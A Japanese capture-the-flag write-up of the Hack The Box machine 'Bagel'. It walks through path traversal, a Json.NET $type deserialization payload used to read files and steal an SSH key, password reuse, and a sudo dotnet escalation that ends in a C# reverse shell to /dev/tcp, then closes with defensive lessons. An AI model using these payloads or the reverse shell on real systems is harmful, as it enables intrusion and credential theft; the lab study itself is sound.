Hack The BoxのWriteup(Bagel)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bagel — 全実行コマンド・実行結果レポート
Nmap スキャン
22/5000/8000
?page= ファイル読取
/etc/passwd, /proc/self/cmdline
app.py ソース入手
WebSocket接続先を特定
JSON型混同攻撃
TypeNameHandling=Auto悪用
RemoveOrder→File型注入
任意ファイル読取
phil SSH鍵窃取
user.txt ✓
bagel.dll解析
DB接続文字列パスワード発見
developer→sudo dotnet
NOPASSWD
root shell
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.228.247
nmap -Pn -sV -sC -p 22,5000,8000 10.129.228.247
RESULT
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
🚨
興味深い構成: 5000番ポートは Microsoft-NetCore — Linux上で .NETサーバーが稼働している。8000番はFlask(Werkzeug)。2つの異なるスタックのWebアプリが 連携している構成と推測できる。

Web調査 — bagel.htb を発見

BASH
curl -sI http://10.129.228.247:8000/
RESULT
HTTP/1.1 302 FOUND
Location: http://bagel.htb:8000/?page=index.html
BASH
echo "10.129.228.247 bagel.htb" | sudo tee -a /etc/hosts
curl -s http://bagel.htb:8000/orders
RESULT
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
ℹ️
?page=index.html という表記は本来PHPのinclude系実装で よく見るパターン(実際はFlask/Werkzeugであることがヘッダーから分かる)。 パラメータ名pageがファイルパスをそのまま扱っている可能性を疑い、 次のフェーズでファイル読取(パストラバーサル)を試す。
PHASE 2

?page= パラメータの任意ファイル読取 & アプリソース入手

パストラバーサルの確認

BASH
curl "http://bagel.htb:8000/?page=../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
任意ファイル読取確認。 pageパラメータにサニタイズなしで パストラバーサルが可能。developerphilという2人のユーザーが確認できる。

/proc/self を使ってアプリのソースパスを特定

BASH
# /proc/self/cmdline は現在のプロセスの実行コマンドライン(null区切り)を返す
curl -s "http://bagel.htb:8000/?page=../../../../proc/self/cmdline" | tr '\000' ' '
RESULT
python3 /home/developer/app/app.py
BASH
curl -s "http://bagel.htb:8000/?page=../../../../home/developer/app/app.py"
RESULT (app.py 抜粋)
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket, json

app = Flask(__name__)

@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')
        if os.path.isfile(page):
            ...
            return resp
        else:
            return "File not found"
    else:
        return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order():
    # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()
        ws.connect("ws://127.0.0.1:5000/")
        order = {"ReadOrder": "orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return (json.loads(result)['ReadOrder'])
    except:
        return ("Unable to connect")
🚨
重要発見: /ordersルートは、5000番ポートで動く.NETサーバーに WebSocketで接続し {"ReadOrder": "orders.txt"} を送信、結果の ReadOrderキーを返している。この.NETサーバーそのものが次の攻撃対象
PHASE 3

WebSocket (port 5000) の挙動解析

wscat / websocket-client で直接通信

BASH
# npm install -g wscat でもよいが、Pythonの websocket-client でも同様に扱える
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://bagel.htb:5000/')
ws.send(json.dumps({'ReadOrder': 'orders.txt'}))
print(ws.recv())
ws.close()
"
RESULT
{"UserId":0,"Session":"Unauthorized","Time":"2:02:30",
 "RemoveOrder":null,"WriteOrder":null,
 "ReadOrder":"order #1 address: NY. 99 Wall St., ... \n order #2 ... \n order #3 ... \n"}
ℹ️
応答JSONには ReadOrder のほか WriteOrderRemoveOrder というフィールドも存在する。それぞれ送信してみると挙動が異なることが分かる: WriteOrderorders.txtへの書込み({"WriteOrder":"任意の文字列"})、 RemoveOrderは送った値をそのまま素通りで返すだけ(削除処理は起きない)。

ReadOrder のパストラバーサル対策を確認 → 迂回不可

BASH
# {"ReadOrder": "../../../../../../etc/passwd"} → "Order not found!"
# {"ReadOrder": "o..rd/er..s//.txt"} → "0xdf was here" (=orders.txt の内容)
# つまり "." と "/" が問答無用で全て除去された後にファイルを開いている
⚠️
ReadOrder経由では./が完全に除去されるため、 素直なパストラバーサルは通らない。しかし後述の通り、この除去処理は ReadOrderプロパティのsetterの中だけで行われている実装であり、 別の経路から直接ファイル読取クラスを呼び出せば素通りするという設計上の欠陥がある。

bagel.dll の入手 (dotnet プロセスの探索)

NOTE
app.pyのコメントに"dotnet <path to .dll>"と実行方法が書かれている通り、
5000番ポートのサーバーは dotnet プロセスとして起動している。前フェーズの
ファイル読取(?page=)を使い、/proc/<pid>/cmdline を総当たりして
dotnetを実行しているPIDとそのDLLパスを特定する。
BASH
# ffuf の場合: <(seq 1 30000) を疑似ワードリストとして使い "dotnet" を含む応答だけ抽出
ffuf -u "http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline" \
  -w <(seq 1 30000) -mr 'dotnet'
RESULT
890  [Status: 200] → dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
BASH
curl -s "http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" \
  -o bagel.dll
ℹ️
dnSpy等の.NETデコンパイラでbagel.dllを開くと、Handler.DeserializeNewtonsoft.Json (Json.NET)DeserializeObject<Base>(json, new JsonSerializerSettings { TypeNameHandling = 4 /* Auto */ }) でJSONをデシリアライズしていることが分かる。TypeNameHandling=Autoは JSON内に$typeキーで型を明示すると、宣言された型と異なるクラスへの 逆シリアライズを許してしまう既知の危険な設定。
PHASE 4

TypeNameHandling=Auto を悪用した多態的逆シリアライズ攻撃

脆弱性の仕組み

NOTE
逆コンパイル結果から判明したクラス構造(抜粋):

  Orders.ReadOrder (setter):
    order_filename = value.Replace("/","").Replace("..","");  ← "." "/" 除去
    this.file.ReadFile = order_filename;

  Orders.RemoveOrder:
    public object RemoveOrder { get; set; }   ← 自動実装プロパティ、フィルタ皆無!

  File.ReadFile (setter):
    this.filename = value;                      ← フィルタなしでそのまま代入
    this.ReadContent(this.directory + this.filename);

RemoveOrderはobject型で、getter/setterに一切のフィルタリングロジックが
実装されていない(自動生成プロパティ)。ここに直接 File オブジェクトを
"$type"指定で注入すれば、ReadOrderの"." "/"除去ロジックを完全に迂回して
File.ReadFileのsetterへ任意の値を渡せる。

ペイロード構築 & /etc/passwd での検証

PYTHON
import websocket, json

def ws_read(path, up=6):
    traversal = "../" * up + path.lstrip("/")
    payload = json.dumps({
        "RemoveOrder": {
            "$type": "bagel_server.File, bagel",   # Namespace.ClassName, AssemblyName
            "ReadFile": traversal
        }
    })
    ws = websocket.create_connection("ws://bagel.htb:5000/", timeout=15)
    ws.send(payload)
    raw = ws.recv()
    ws.close()
    return json.loads(raw)["RemoveOrder"]["ReadFile"]

print(ws_read("etc/passwd"))
RESULT
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
成功! RemoveOrder経由でFileクラスを直接生成し、 ./のフィルタを完全に迂回して任意ファイル読取を実現。 アセンブリ名 bagel[System.Reflection.AssemblyName]::GetAssemblyName('bagel.dll') (PowerShell)や dnSpy のアセンブリ情報から確認できる。

プロセス情報から phil の SSH秘密鍵を特定

BASH
# WebSocketサーバー(port 5000)自身のプロセス情報を読む
python3 -c "from x import ws_read; print(ws_read('proc/self/environ'))"
# → HOME=/home/phil, USER=phil ... (5000番のプロセスは phil 権限で稼働)
PYTHON
print(ws_read("home/phil/.ssh/id_rsa"))
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...
-----END OPENSSH PRIVATE KEY-----
SSH秘密鍵を取得! port 5000のWebSocketサーバーはユーザーphilの 権限で動作しているため、/proc/self/environから実行ユーザーを特定し、 そのホームディレクトリの.ssh/id_rsaをそのまま読み出せる。
PHASE 5

SSH ログイン & user.txt 取得

窃取した鍵で phil としてSSHログイン

BASH
chmod 600 phil_id_rsa
ssh -i phil_id_rsa phil@bagel.htb
RESULT
phil@bagel:~$ cat user.txt
46126dadad66b499e7fcfcc291bec6e2
user.txt — phil
46126dadad66b499e7fcfcc291bec6e2
PHASE 6

bagel.dll のDB資格情報 → developer → NOPASSWD dotnet → root.txt

bagel.dll 内の未使用DBクラスから平文パスワードを発見

BASH
# Phase 3-3 で入手済みの bagel.dll を再利用
strings -e l bagel.dll | grep -i password
strings -a bagel.dll | grep -i password
RESULT (逆コンパイル/文字列抽出結果)
// DB クラス (未使用・実装未完了とコメントあり)
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
🚨
資格情報の使い回しを推測: このDB接続文字列自体は未使用のコードだが、 パスワード k8wdAYYKyhnjg3K がシステムユーザーdeveloperの パスワードとして再利用されている可能性を試す。

developer へスイッチし sudo 権限を確認

BASH
phil@bagel:~$ su - developer
Password: k8wdAYYKyhnjg3K

developer@bagel:~$ sudo -l
RESULT
User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet
パスワード再利用が的中! さらにdeveloper/usr/bin/dotnetをパスワード無しでroot権限実行できる。 dotnetのSDKコマンドは非常に多機能(ビルド・実行・F#インタラクティブ等)なため、 任意コード実行に直結する。

最短ルート: dotnet fsi (F# Interactive) でシェル起動

BASH
developer@bagel:~$ sudo dotnet fsi
RESULT
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
> System.Diagnostics.Process.Start("bash").WaitForExit();;
RESULT
[root@bagel developer]# id
uid=0(root) gid=0(root) groups=0(root)
ℹ️
dotnet fsi(F# Interactive)は対話環境でC#/.NETライブラリを 直接呼び出せるため、System.Diagnostics.Process.Start("bash").WaitForExit();; (末尾の;;はF#の文末区切り)一発でシェルを起動できる、最も手軽な手法。

代替ルート: 最小 .NET コンソールプロジェクトでリバースシェル

NOTE
非対話環境(パイプ経由のSSHコマンド実行など)で fsi の対話プロンプトを
扱いにくい場合は、リバースシェルを埋め込んだ最小限の.NETプロジェクトを
生成して sudo dotnet run で実行する方が確実。今回のライブ検証でも
この方式を採用した。
BASH
mkdir -p /tmp/shell && cd /tmp/shell

cat > shell.csproj <<'EOF'
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
  </PropertyGroup>
</Project>
EOF

cat > shell.cs <<'EOF'
using System;
using System.Diagnostics;

namespace BackConnect {
    class ReverseBash {
        public static void Main(string[] args) {
            Process proc = new Process();
            proc.StartInfo.FileName = "/bin/bash";
            proc.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/10.10.15.201/9090 0>&1\"";
            proc.StartInfo.UseShellExecute = false;
            proc.Start();
        }
    }
}
EOF

sudo /usr/bin/dotnet run
RESULT (Kali側リスナー)
$ nc -lnvp 9090
listening on [any] 9090 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.247] 44040
bash: cannot set terminal process group: Inappropriate ioctl for device
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root)

root.txt 取得

BASH
bash-5.1# cat /root/root.txt
RESULT
0902e0907915ca63bf39cbdee0ec91c7
root.txt — Administrator@bagel
0902e0907915ca63bf39cbdee0ec91c7
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — phil
46126dadad66b499e7fcfcc291bec6e2
root.txt — Administrator@bagel
0902e0907915ca63bf39cbdee0ec91c7

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
パストラバーサル (任意ファイル読取) Flask ?page= パラメータ アプリソースコード・/procの漏洩 High サニタイズ皆無のファイルパス連結で app.py ソースと bagel.dll を入手
insecure deserialization (TypeNameHandling=Auto) WatsonWsServer (.NET, port 5000) 任意ファイル読取(SSH秘密鍵窃取) Critical フィルタなしのRemoveOrderプロパティへ$typeFileクラスを注入し、意図した検証を完全に迂回
認証情報の使い回し 未使用DBクラスの接続文字列パスワード 横展開 (phil→developer) High コード内に残置されたDB接続文字列のパスワードがOSユーザーパスワードとして再利用
危険な sudo 許可 /usr/bin/dotnet NOPASSWD 権限昇格 (developer→root) Critical dotnet SDKはfsirunなど任意コード実行手段を多数内包しGTFOBins的に悪用可能

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/SSH、5000/.NET、8000/Flask を確認
2ファイル読取?page=パストラバーサルapp.pyソース入手、WebSocket連携先(5000番)を特定
3DLL解析/proc/<pid>/cmdline総当たり+デコンパイルbagel.dll入手、TypeNameHandling=Auto脆弱性発見
4RCE(ファイル読取)RemoveOrder経由のFile型注入phil SSH秘密鍵窃取
5footholdSSHログインuser.txt 取得
6権限昇格DBパスワード再利用+NOPASSWD dotnetroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Webフレームワークのファイル配信パラメータがサニタイズ皆無 ユーザー入力をファイルパスへ直接連結せず、許可済みファイル名のホワイトリスト方式に限定する。os.path.realpathで正規化後、想定ディレクトリ配下かを検証する。
Newtonsoft.Jsonで TypeNameHandling=Auto/All を使用 信頼できない入力のデシリアライズにはTypeNameHandlingを使わない(既定のNoneのまま)。どうしても必要な場合はSerializationBinderで許可クラスを厳格に制限する。
未使用・未完成のコードにDB接続文字列とパスワードが平文で残置 使われないコードは削除し、資格情報はソースへ埋め込まずシークレット管理サービスから取得する。デッドコードのコードレビューを徹底する。
パスワードの使い回し(DB接続文字列↔OSアカウント) 用途ごとに異なるパスワードを発行し、パスワードマネージャー/シークレットローテーションを導入する。
強力なSDKツール(dotnet)をNOPASSWD sudoで許可 sudo許可は必要最小限のサブコマンド・引数に絞る(sudoeditや引数固定のラッパースクリプト経由にする)。GTFOBins等で悪用可能性を事前に確認する。
HackTheBox: Bagel | 完全攻略レポート